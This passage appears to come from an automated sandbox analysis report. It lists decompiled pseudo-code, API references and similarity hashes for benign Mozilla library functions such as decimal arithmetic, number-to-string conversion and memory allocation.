				_t54 = E6D0EE4A0( &_v56, __ecx, _a8);
				_t73 = 6;
				memcpy( &_v32, _t54, _t73 << 2);
				_t98 = _t98 + 0x18;
				_t97 = _v8;
				if(_t97 != _t62) {
					_t80 = _v24 + _v32;
					_t75 = _v20;
					asm("adc ecx, [ebp-0x18]");
				} else {
					_t80 = _v32 - _v24;
					_t75 = _v28;
					asm("sbb ecx, [ebp-0x10]");
				}
				if(_t97 != 1 || _t62 != _t97) {
					L11:
					__eflags = _t75;
					if(__eflags < 0) {
						L15:
						asm("adc ecx, eax");
						__eflags = _t97 - 1;
						_push( ~_t75);
						_push( ~_t80);
						_push(_v16);
						_t24 = _t97 != 1;
						__eflags = _t24;
						_push(0 | _t24);
						L16:
						_t42 = E6D0ED880( &_v56);
						goto L23;
					}
					if(__eflags > 0) {
						L14:
						_push(_t75);
						_push(_t80);
						_push(_v16);
						_push(_t97);
						goto L16;
					}
					__eflags = _t80;
					if(_t80 < 0) {
						goto L15;
					}
					goto L14;
				} else {
					_t60 = _t80 | _t75;
					if((_t80 | _t75) != 0) {
						goto L11;
					}
					E6D0ED8AB(_a4, _t60, _t60, _t60, _t60);
					goto L19;
				}
			}

0x6d0edb76
0x6d0edb7b
0x6d0edb7d
0x6d0edb80
0x6d0edb87
0x6d0edb8a
0x6d0edb8d
0x6d0edb90
0x6d0edb9c
0x6d0edb9f
0x6d0edc6f
0x6d0edc71
0x6d0edc81
0x6d0edc85
0x6d0edc85
0x6d0edc87
0x6d0edc73
0x6d0edc77
0x6d0edc7c
0x6d0edc8a
0x6d0edc8a
0x6d0edc8c
0x6d0edc93
0x6d0edc94
0x6d0edc96
0x6d0edc9c
0x6d0edc9c
0x6d0edba5
0x6d0edba8
0x6d0edc65
0x6d0edc6a
0x6d0edc6a
0x00000000
0x6d0edc6a
0x6d0edbae
0x6d0edbb1
0x00000000
0x00000000
0x6d0edbba
0x6d0edc4c
0x6d0edc56
0x00000000
0x6d0edc5c
0x6d0edbc8
0x6d0edbd7
0x6d0edbd8
0x6d0edbd8
0x6d0edbda
0x6d0edbdf
0x6d0edbf2
0x6d0edbf5
0x6d0edbf8
0x6d0edbe1
0x6d0edbe4
0x6d0edbe7
0x6d0edbea
0x6d0edbea
0x6d0edbfe
0x6d0edc18
0x6d0edc1a
0x6d0edc1c
0x6d0edc2c
0x6d0edc2e
0x6d0edc34
0x6d0edc37
0x6d0edc38
0x6d0edc39
0x6d0edc3c
0x6d0edc3c
0x6d0edc3f
0x6d0edc40
0x6d0edc43
0x00000000
0x6d0edc43
0x6d0edc1e
0x6d0edc24
0x6d0edc24
0x6d0edc25
0x6d0edc26
0x6d0edc29
0x00000000
0x6d0edc29
0x6d0edc20
0x6d0edc22
0x00000000
0x00000000
0x00000000
0x6d0edc04
0x6d0edc06
0x6d0edc08
0x00000000
0x00000000
0x6d0edc11
0x00000000
0x6d0edc11

APIs

?alignOperands@Decimal@blink@@CA?AUAlignedOperands@12@ABV12@0@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6D0EE7D4,6D0ED9CF), ref: 6D0EDBC8
??0Decimal@blink@@QAE@W4Sign@01@H_K@Z.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6D0EE7D4), ref: 6D0EDC43
?infinity@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(00000002,00000000,?,?,?,?,?,?,?,?,?,?,?,6D0EE7D4,6D0ED9CF,?), ref: 6D0EDC56
?nan@Decimal@blink@@SA?AV12@XZ.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,6D0EE7D4,6D0ED9CF,?), ref: 6D0EDC77

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Decimal@blink@@$V12@$?align?infinity@?nan@AlignedOperands@Operands@12@Sign@01@Sign@12@@V12@0@
String ID:
API String ID: 1752975899-0
Opcode ID: 28453c36b79d3ef7949447d1936d2125d2f66f982ffd733a91ee9007a6fc32bd
Instruction ID: 4e911272d168e054807f5035db0b32f12df5faed3c2b2f7fae228c673f179a36
Opcode Fuzzy Hash: 28453c36b79d3ef7949447d1936d2125d2f66f982ffd733a91ee9007a6fc32bd
Instruction Fuzzy Hash: 87319572D0411BAFEF05DEA8D980ABEB7B9FBC53D0F118515E910E7250D771AA40EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D0F4330, Relevance: 6.1, APIs: 4, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E6D0F4330(void* __ebx, unsigned int* __ecx, signed int __edx, void* __edi, void* __esi, intOrPtr* _a12, intOrPtr _a16) {
				signed int _v8;
				char _v28;
				char _v29;
				char _v36;
				char _v40;
				char _v44;
				void* __ebp;
				signed int _t28;
				signed char _t37;
				void* _t38;
				void* _t52;
				intOrPtr _t62;
				signed int _t64;
				signed int _t65;
				intOrPtr _t66;
				intOrPtr* _t68;
				signed int _t73;

				_t64 = __edx;
				_t52 = __ebx;
				_t28 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t28 ^ _t73;
				asm("movsd xmm0, [ebp+0x8]");
				_push(__esi);
				_push(__edi);
				_t68 = _a12;
				_t71 = __ecx;
				asm("movsd [ebp-0x30], xmm0");
				asm("movsd [ebp-0x28], xmm0");
				E6D0EFCE8(__ecx,  &_v44);
				_t65 = _t64 & 0x7ff00000;
				if(0 != 0 || _t65 != 0x7ff00000) {
					asm("movsd xmm0, [ebp-0x30]");
					asm("movsd [esp], xmm0");
					_t37 = E6D0F1F20(_t52, 0x7ff00000, _t65, _t68, _t71, 0x7ff00000, 0x7ff00000, _a16, 0,  &_v28, 0x12,  &_v29,  &_v36,  &_v40);
					if(_v29 != 0) {
						asm("movsd xmm0, [ebp-0x30]");
						asm("ucomisd xmm0, [0x6d0fb580]");
						asm("lahf");
						if((_t37 & 0x00000044) != 0 || ( *_t71 >> 0x00000003 & 0x00000001) == 0) {
							_t62 =  *((intOrPtr*)(_t68 + 8));
							 *((intOrPtr*)(_t68 + 8)) = _t62 + 1;
							 *((char*)(_t62 +  *_t68)) = 0x2d;
						}
					}
					_t66 = _v40;
					_t38 = _t66 - 1;
					if(_t71[4] > _t38 || _t38 >= _t71[5]) {
						E6D0F17E0(_t52, _t71, _t68, _t71,  &_v28, _v36, _t38, _t68);
					} else {
						_t44 =  >  ? _v36 - _t66 : 0;
						E6D0F16D0(_t71,  &_v28, _v36, _t66,  >  ? _v36 - _t66 : 0, _t68);
					}
				} else {
					asm("movsd xmm0, [ebp-0x30]");
					asm("movsd [esp], xmm0");
					E6D0F2B30(__ecx, _t65, 0x7ff00000, 0x7ff00000, _t68);
				}
				return E6D0F70C0(_v8 ^ _t73);
			}

0x6d0f4330
0x6d0f4330
0x6d0f4336
0x6d0f433d
0x6d0f4340
0x6d0f4348
0x6d0f4349
0x6d0f434a
0x6d0f434d
0x6d0f4350
0x6d0f4355
0x6d0f435a
0x6d0f4365
0x6d0f4369
0x6d0f4388
0x6d0f43a6
0x6d0f43ab
0x6d0f43b7
0x6d0f43b9
0x6d0f43be
0x6d0f43c6
0x6d0f43ca
0x6d0f43d5
0x6d0f43db
0x6d0f43e0
0x6d0f43e0
0x6d0f43ca
0x6d0f43e4
0x6d0f43e7
0x6d0f43ed
0x6d0f441e
0x6d0f43f4
0x6d0f43fe
0x6d0f440c
0x6d0f440c
0x6d0f436f
0x6d0f436f
0x6d0f4379
0x6d0f437e
0x6d0f437e
0x6d0f4434

APIs

Part of subcall function 6D0EFCE8: memmove.VCRUNTIME140(?,?,00000008,00000000,00000000,?,6D0F435F,?,?,?,?,?,?,?,?,6D0EEE7F), ref: 6D0EFCF6

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE(7FF00000,7FF00000,?,?,?,?,?,?,?,?,6D0EEE7F,?,?,?,00000000,?), ref: 6D0F437E
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE(7FF00000,7FF00000,?,00000000,?,00000012,?,?,?,?,?), ref: 6D0F43AB
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6D0F440C
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D0F441E

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$CreateRepresentation@$Ascii@DecimalDtoaExponentialHandleMode@12@SpecialValues@memmove
String ID:
API String ID: 43519812-0
Opcode ID: 2bf4d66e4f50cfb759ed43d72cc5ed88b4920e98fa3d3a1e3a223a3841a21655
Instruction ID: cf493239d610d4060b1eeac3232afc8ad74e72ee151d6ded011dd58837ba035f
Opcode Fuzzy Hash: 2bf4d66e4f50cfb759ed43d72cc5ed88b4920e98fa3d3a1e3a223a3841a21655
Instruction Fuzzy Hash: 47317E71A1460EABEF15CEA4DD40BEFB7BDFF49344F10421AE901A7140EB31A986C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EB7B8, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C,?,?,00000000), ref: 6D0EB7F4
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6D0EB808

Strings

GenuntelineI, xrefs: 6D0EB7E8
AuthcAMDenti, xrefs: 6D0EB802

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: _strnicmp
String ID: AuthcAMDenti$GenuntelineI
API String ID: 2635805826-1606420540
Opcode ID: 58c62d2d8dbd22561208062b82c5a824b2250f5d51552725ba66b87cae9c4115
Instruction ID: 23247bb6975307727b33d171701152fca71093d429caa98293b1936def5494f7
Opcode Fuzzy Hash: 58c62d2d8dbd22561208062b82c5a824b2250f5d51552725ba66b87cae9c4115
Instruction Fuzzy Hash: B72151B190521AAFE704CF69DD41BAAF7E8FF44210F10862ED819E7240D771A911CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EF340, Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6D0EF340(void* __ecx, void* __edx, void* _a4) {
				signed short _t16;
				void* _t19;
				void* _t20;
				signed int _t30;
				void* _t37;
				void* _t43;
				void* _t44;

				_t37 = __edx;
				_t44 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xc)) == 0 ||  *((intOrPtr*)(__ecx + 0xc)) == 2) {
					L9:
					_t30 = 6;
					return memcpy(_a4, _t44, _t30 << 2);
				} else {
					_t16 =  *(__ecx + 8) & 0x0000ffff;
					if(_t16 >= 0) {
						goto L9;
					}
					_t42 =  ~_t16;
					if(E6D0EE878( *((intOrPtr*)(__ecx)),  *((intOrPtr*)(__ecx + 4))) >=  ~_t16) {
						_t19 = E6D0EF3E6( *((intOrPtr*)(__ecx)),  *((intOrPtr*)(__ecx + 4)), _t42 - 1);
						_t27 = _t37;
						_t43 = _t19;
						_t20 = E6D0F7F20(_t43, _t37, 0xa, 0);
						if(_t37 != 0 || _t20 >= 5) {
							_t43 = _t43 + 0xa;
							asm("adc ebx, 0x0");
						}
						E6D0ED880(_a4,  *((intOrPtr*)(_t44 + 0x10)), 0, E6D0F7E90(_t43, _t27, 0xa, 0), _t37);
						return _a4;
					}
					E6D0EFC80(_a4, 0);
					return _a4;
				}
			}

0x6d0ef340
0x6d0ef344
0x6d0ef34b
0x6d0ef3d6
0x6d0ef3dd
0x00000000
0x6d0ef357
0x6d0ef357
0x6d0ef35e
0x00000000
0x00000000
0x6d0ef368
0x6d0ef373
0x6d0ef390
0x6d0ef398
0x6d0ef39a
0x6d0ef3a2
0x6d0ef3a9
0x6d0ef3b0
0x6d0ef3b3
0x6d0ef3b3
0x6d0ef3cb
0x00000000
0x6d0ef3d3
0x6d0ef37a
0x00000000
0x6d0ef383

APIs

?zero@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,00000000), ref: 6D0EF37A
__aullrem.LIBCMT ref: 6D0EF3A2
__aulldiv.LIBCMT ref: 6D0EF3BC
??0Decimal@blink@@QAE@W4Sign@01@H_K@Z.MOZGLUE(00000000,00000000,00000000,?,-0000000A,?,0000000A,00000000,00000000,?,0000000A,00000000), ref: 6D0EF3CB

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Decimal@blink@@$?zero@Sign@01@Sign@12@@V12@__aulldiv__aullrem
String ID:
API String ID: 2549670309-0
Opcode ID: 094efee134f835e34d90bd4e1137427c8b85a8670d69e49283d400a43905cd4b
Instruction ID: b3c7a20b5894916afc7448125a5a6f108a88e948b632045f136d2114b5c2cd03
Opcode Fuzzy Hash: 094efee134f835e34d90bd4e1137427c8b85a8670d69e49283d400a43905cd4b
Instruction Fuzzy Hash: 4B11C477604304BEF7258A20EC81F7A7BEDEBC47D5F30846AFA154A191E761AC409651

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EAE18, Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

SymGetModuleInfo64.DBGHELP(?,?,?,?,00000000,?,?,?,6D0EA8B7,00000000,?,?,?,?), ref: 6D0EAE3E
EnumerateLoadedModules64.DBGHELP(?,6D0EB160,?,?,6D0EA8B7,00000000,?,?,?,?), ref: 6D0EAE56
SymGetModuleInfo64.DBGHELP(?,?,?,?,?,6D0EA8B7,00000000,?,?,?,?), ref: 6D0EAE6A
SymGetLineFromAddr64.DBGHELP(?,?,?,00000000,?,?,6D0EA8B7,00000000,?), ref: 6D0EAE8C

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Info64Module$Addr64EnumerateFromLineLoadedModules64
String ID:
API String ID: 3508588221-0
Opcode ID: 3a509f0f74453b142dd21334f1358d6df41de1afc913bdc26e157a2e6881ffa0
Instruction ID: bf40e6c555db24140ee78680268d5fab25bab1f3b5e6035c502bddf9e95bbf39
Opcode Fuzzy Hash: 3a509f0f74453b142dd21334f1358d6df41de1afc913bdc26e157a2e6881ffa0
Instruction Fuzzy Hash: FC11BA3610120ABFEF129F95DC44FAB7BB9EF493A1F108029FD1896220D771D924DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D0F3682, Relevance: 6.1, APIs: 4, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6D0F3682(void* __ebx, void* __edi, void* __esi, long _a4, intOrPtr* _a12) {
				char* _v0;
				struct _SYSTEM_INFO _v40;
				intOrPtr* _v44;
				char* _v52;
				void* _t25;
				char* _t27;
				char* _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				long _t35;
				intOrPtr* _t37;
				intOrPtr _t38;
				intOrPtr _t39;
				intOrPtr _t40;
				void* _t42;
				void* _t47;

				_t35 = _a4;
				_t2 = _t35 - 1; // 0x6d0f5d0d
				_t47 =  !_t2 & 0xf0deafff;
				_t42 = VirtualAlloc(_t47, _t35, 0x2000, 1);
				if(_t42 != _t47) {
					GetSystemInfo( &_v40);
					if(_t47 < _v40.lpMaximumApplicationAddress || _t47 + _t35 < _v40.lpMaximumApplicationAddress) {
						if(_t42 == 0) {
							_t25 = VirtualAlloc(0, _t35, 0x2000, 1);
							if(_t25 != 0) {
								goto L2;
							} else {
								asm("int3");
								E6D0E8DD0(0xa9);
								asm("int3");
								_t37 = _v44;
								_t27 = _v52;
								_t39 =  *_t37;
								if(_t39 != 0) {
									 *((char*)(_t39 + _t27 - 1)) =  *((char*)(_t39 + _t27 - 1)) + 1;
									_t38 =  *_t37;
									while(1) {
										_t28 = _v0;
										_t38 = _t38 - 1;
										if(_t38 <= 0) {
											break;
										}
										if( *((char*)(_t28 + _t38)) == 0x3a) {
											 *((char*)(_t28 + _t38)) = 0x30;
											 *((char*)(_v0 + _t38 - 1)) =  *((char*)(_v0 + _t38 - 1)) + 1;
											continue;
										}
										L19:
										return _t28;
										goto L20;
									}
									if( *_t28 == 0x3a) {
										 *_t28 = 0x31;
										_t30 = _a12;
										 *_t30 =  *_t30 + 1;
										return _t30;
									}
									goto L19;
								} else {
									 *_t27 = 0x31;
									_t40 = _t39 + 1;
									_t31 = _a12;
									 *_t31 = _t40;
									 *_t37 = _t40;
									return _t31;
								}
							}
						} else {
							_t25 = _t42;
							goto L2;
						}
					} else {
						if(_t42 != 0) {
							VirtualFree(_t42, _t35, 0x8000);
						}
						goto L1;
					}
				} else {
					L1:
					_t25 = _t47;
					L2:
					return _t25;
				}
				L20:
			}

0x6d0f3689
0x6d0f3690
0x6d0f369b
0x6d0f36a8
0x6d0f36ac
0x6d0f36bb
0x6d0f36c4
0x6d0f36e3
0x6d0f36f3
0x6d0f36fb
0x00000000
0x6d0f36fd
0x6d0f36fd
0x6d0f3703
0x6d0f3708
0x6d0f370c
0x6d0f370f
0x6d0f3712
0x6d0f3716
0x6d0f3725
0x6d0f3729
0x6d0f373e
0x6d0f373e
0x6d0f3741
0x6d0f3744
0x00000000
0x00000000
0x6d0f3731
0x6d0f3733
0x6d0f373a
0x00000000
0x6d0f373a
0x6d0f3754
0x6d0f3754
0x00000000
0x6d0f3754
0x6d0f3749
0x6d0f374b
0x6d0f374e
0x6d0f3751
0x00000000
0x6d0f3751
0x00000000
0x6d0f3718
0x6d0f3718
0x6d0f371b
0x6d0f371c
0x6d0f371f
0x6d0f3721
0x6d0f3724
0x6d0f3724
0x6d0f3716
0x6d0f36e5
0x6d0f36e5
0x00000000
0x6d0f36e5
0x6d0f36ce
0x6d0f36d0
0x6d0f36d9
0x6d0f36d9
0x00000000
0x6d0f36d0
0x6d0f36ae
0x6d0f36ae
0x6d0f36ae
0x6d0f36b0
0x6d0f36b6
0x6d0f36b6
0x00000000

APIs

VirtualAlloc.KERNEL32(6D0F5D0D,6D0F5D0E,00002000,00000001,?,?,?,?,?,?,?,?,?,?,6D0F5D0E,?), ref: 6D0F36A2
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6D0F5D0E,?), ref: 6D0F36BB
VirtualFree.KERNEL32(00000000,6D0F5D0E,00008000,?,?,?,?,?,?,?,?,?,?,6D0F5D0E,?), ref: 6D0F36D9
VirtualAlloc.KERNEL32(00000000,6D0F5D0E,00002000,00000001,?,?,?,?,?,?,?,?,?,?,6D0F5D0E,?), ref: 6D0F36F3

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual$Alloc$FreeInfoSystem
String ID:
API String ID: 2068012669-0
Opcode ID: 441aeb91251a596f4446b6e62c97f476f9a7fe76a4852e6f6024af22ad65aefc
Instruction ID: a92cbe07b8defc792080119ac71bdd35275ec4b6a414c006430c368d8cbc224e
Opcode Fuzzy Hash: 441aeb91251a596f4446b6e62c97f476f9a7fe76a4852e6f6024af22ad65aefc
Instruction Fuzzy Hash: 3B01D83A744218AFEB015B599C89F9FB7BDEB89750F704014FE04E7380D761984586A6

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EE7C0, Relevance: 6.1, APIs: 4, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D0EE7C0(void* __ecx, void* __edx, void* __eflags, void* _a4, intOrPtr _a8) {
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				intOrPtr _t15;
				void* _t18;
				signed int _t26;
				void* _t30;
				void* _t34;
				intOrPtr _t38;

				_t30 = __edx;
				E6D0EDB70(__ecx, __eflags,  &_v28, _a8);
				_t15 = _v16;
				_t38 = _t15;
				if(_t38 == 0) {
					__eflags = _v12 - 1;
					if(_v12 != 1) {
						__eflags = 0;
						E6D0ED8AB( &_v28, 0, 0, 1, 0);
						_t18 =  &_v28;
					} else {
						_t18 = E6D0ED850( &_v28, _t30, 0xffffffff);
					}
					_t34 = _t18;
					L12:
					_t26 = 6;
					return memcpy(_a4, _t34, _t26 << 2);
				}
				if(_t38 <= 0) {
					L7:
					E6D0EF040(_a4);
					L5:
					return _a4;
				}
				if(_t15 <= 2) {
					_t34 =  &_v28;
					goto L12;
				}
				if(_t15 != 3) {
					goto L7;
				}
				E6D0EFC80(_a4, 0);
				goto L5;
			}

0x6d0ee7c0
0x6d0ee7cf
0x6d0ee7d4
0x6d0ee7d7
0x6d0ee7d9
0x6d0ee807
0x6d0ee80e
0x6d0ee819
0x6d0ee820
0x6d0ee825
0x6d0ee810
0x6d0ee812
0x6d0ee812
0x6d0ee828
0x6d0ee82a
0x6d0ee831
0x00000000
0x6d0ee832
0x6d0ee7db
0x6d0ee7fd
0x6d0ee800
0x6d0ee7f2
0x00000000
0x6d0ee7f5
0x6d0ee7e0
0x6d0ee7f8
0x00000000
0x6d0ee7f8
0x6d0ee7e5
0x00000000
0x00000000
0x6d0ee7ec
0x00000000

APIs

??GDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(6D0ED9CF,?,?,?,6D0ED9CF,?,?,?), ref: 6D0EE7CF

Part of subcall function 6D0EDB70: ?alignOperands@Decimal@blink@@CA?AUAlignedOperands@12@ABV12@0@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6D0EE7D4,6D0ED9CF), ref: 6D0EDBC8

?zero@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,00000000,6D0ED9CF,?,?,?,6D0ED9CF,?,?,?), ref: 6D0EE7EC
?nan@Decimal@blink@@SA?AV12@XZ.MOZGLUE(?,6D0ED9CF,?,?,?,6D0ED9CF,?,?,?), ref: 6D0EE800
??0Decimal@blink@@QAE@H@Z.MOZGLUE(000000FF,6D0ED9CF,?,?,?,6D0ED9CF,?,?,?), ref: 6D0EE812

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Decimal@blink@@$V12@$?align?nan@?zero@AlignedOperands@Operands@12@Sign@12@@V01@V01@@V12@0@
String ID:
API String ID: 1033684104-0
Opcode ID: 62677d221eeb6d871fb9fc59b92495f14de0900777488c1bc825fd842a2d542c
Instruction ID: 54a7597af832c96841f8b910361229e0fe6719830b1bc45fabad7ea62e000804
Opcode Fuzzy Hash: 62677d221eeb6d871fb9fc59b92495f14de0900777488c1bc825fd842a2d542c
Instruction Fuzzy Hash: 3B01B131A0811EAEFF109A68DD41BAE7BA8EB453E4F504112FA24E7180D730AA85C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E1A49, Relevance: 6.1, APIs: 4, Instructions: 52
threadCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6D0E1A49(intOrPtr* __ecx, intOrPtr _a4) {
				char _v8;
				char _v16;
				intOrPtr _t17;
				char _t18;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t30;
				intOrPtr _t31;

				_t30 = __ecx;
				_v8 = GetCurrentThreadId();
				EnterCriticalSection(0x6d1001a4);
				_t26 =  *0x6d1000d0; // 0x0
				E6D0E190A(_t26,  &_v16,  &_v8);
				_t31 = _a4;
				_t17 =  *((intOrPtr*)(_v16 + 0x14));
				 *_t30 = _t17;
				if(_t17 == 0) {
					L3:
					_t18 = 0;
				} else {
					__imp___stricmp(_t17, _t31);
					if(_t17 != 0) {
						goto L3;
					} else {
						_t18 = 1;
					}
				}
				 *((char*)(_t30 + 4)) = _t18;
				_t27 =  *0x6d1000d0; // 0x0
				E6D0E190A(_t27,  &_v16,  &_v8);
				 *((intOrPtr*)(_v16 + 0x14)) = _t31;
				LeaveCriticalSection(0x6d1001a4);
				return _t30;
			}

0x6d0e1a52
0x6d0e1a5f
0x6d0e1a63
0x6d0e1a69
0x6d0e1a77
0x6d0e1a7f
0x6d0e1a82
0x6d0e1a85
0x6d0e1a89
0x6d0e1a9d
0x6d0e1a9d
0x6d0e1a8b
0x6d0e1a8d
0x6d0e1a97
0x00000000
0x6d0e1a99
0x6d0e1a99
0x6d0e1a99
0x6d0e1a97
0x6d0e1a9f
0x6d0e1aa5
0x6d0e1ab0
0x6d0e1ab9
0x6d0e1abc
0x6d0e1aca

APIs

GetCurrentThreadId.KERNEL32 ref: 6D0E1A54
EnterCriticalSection.KERNEL32(6D1001A4), ref: 6D0E1A63
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?), ref: 6D0E1A8D
LeaveCriticalSection.KERNEL32(6D1001A4,?,?,?,?), ref: 6D0E1ABC

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread_stricmp
String ID:
API String ID: 1951318356-0
Opcode ID: 3990123c71a1c1f33218eec03b5e16c2420576243862c1b903eb1efbd3738c6b
Instruction ID: f0b8ff37a11fa00d11431d751c34ca4be939a0f3532445af53b0fa3bbab290fa
Opcode Fuzzy Hash: 3990123c71a1c1f33218eec03b5e16c2420576243862c1b903eb1efbd3738c6b
Instruction Fuzzy Hash: F501567A905209EFDF00DFA5E844EDEBBBCEB4A291B104056ED14D7201DB30DA04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E7822, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6D0E7822(void* __ecx, intOrPtr _a4, unsigned int _a8, intOrPtr _a12) {
				signed char _v0;
				intOrPtr* _v12;
				intOrPtr _v16;
				signed char _v28;
				void* _t43;
				void* _t44;
				signed char _t48;
				signed char _t51;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				void* _t68;
				intOrPtr _t69;
				void* _t70;
				void* _t72;
				intOrPtr _t73;
				signed int _t74;
				intOrPtr* _t77;
				intOrPtr _t78;
				struct _CRITICAL_SECTION* _t79;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t89;

				_t68 = __ecx;
				_t77 = _a4 - _a8;
				_t65 =  *_t77;
				if(_a12 != 0 && _t65 != _a12) {
					E6D0E90E5("MOZ_RELEASE_ASSERT(!aArena || arena == aArena)");
					asm("int3");
					 *_t89 = 0xce1;
					L9:
					E6D0E8DD0();
					asm("int3");
					_push(_t68);
					_push(_t65);
					_push(_t79);
					_push(_t77);
					_t78 = _v16;
					_t80 =  *(_t78 + 4);
					_t17 = _t78 + 0xc; // 0xc
